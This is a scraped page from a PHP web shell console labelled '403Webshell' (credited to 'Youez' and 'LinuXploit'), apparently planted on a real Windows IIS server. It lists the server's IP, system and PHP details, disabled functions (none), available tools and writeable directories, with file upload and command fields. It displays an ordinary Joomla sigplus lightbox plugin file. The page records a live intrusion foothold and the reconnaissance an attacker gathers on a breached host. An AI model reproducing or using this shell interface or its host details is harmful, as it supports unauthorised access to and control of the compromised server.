403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.217.154
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /inetpub/wwwroot/icd/plugins/content/sigplus/engines/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /inetpub/wwwroot/icd/plugins/content/sigplus/engines/sexylightbox.php
<?php
/**
* @file
* @brief    sigplus Image Gallery Plus Sexy Lightbox 2 engine
* @author   Levente Hunyadi
* @version  1.3.1
* @remarks  Copyright (C) 2009-2010 Levente Hunyadi
* @remarks  Licensed under GNU/GPLv3, see http://www.gnu.org/licenses/gpl-3.0.html
* @see      http://hunyadi.info.hu/projects/sigplus
*/

// no direct access
defined( '_JEXEC' ) or die( 'Restricted access' );

/**
* Support class for Sexy Lightbox 2 (jQuery-based).
* @see http://www.coders.me/lang/en/web-html-js-css/javascript/sexy-lightbox-2
*/
class SIGPlusSexyLightboxEngine extends SIGPlusLightboxEngine {
	private $theme = 'black';

	public function getIdentifier() {
		return 'sexylightbox';
	}

	public function __construct($params = false) {
		if (isset($params['theme'])) {
			$this->theme = $params['theme'];
		}
	}

	protected function addCommonScripts() {
		$this->addJQuery();
		$document =& JFactory::getDocument();
		$document->addScript(JURI::base(true).'/plugins/content/sigplus/js/'.$this->getScriptFilename('jquery.easing'));  // duplicates are ignored
		parent::addCommonScripts();
	}

	public function addScripts($galleryid, $params) {
		$this->addCommonScripts();
		$script = 'SexyLightbox.initialize(__jQuery__.extend('.$this->getCustomParameters($params).', { dir:"'.JURI::base(true).'/plugins/content/sigplus/engines/sexylightbox/css", color:"'.$this->theme.'" }));';
		$this->addOnReadyScript($script);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit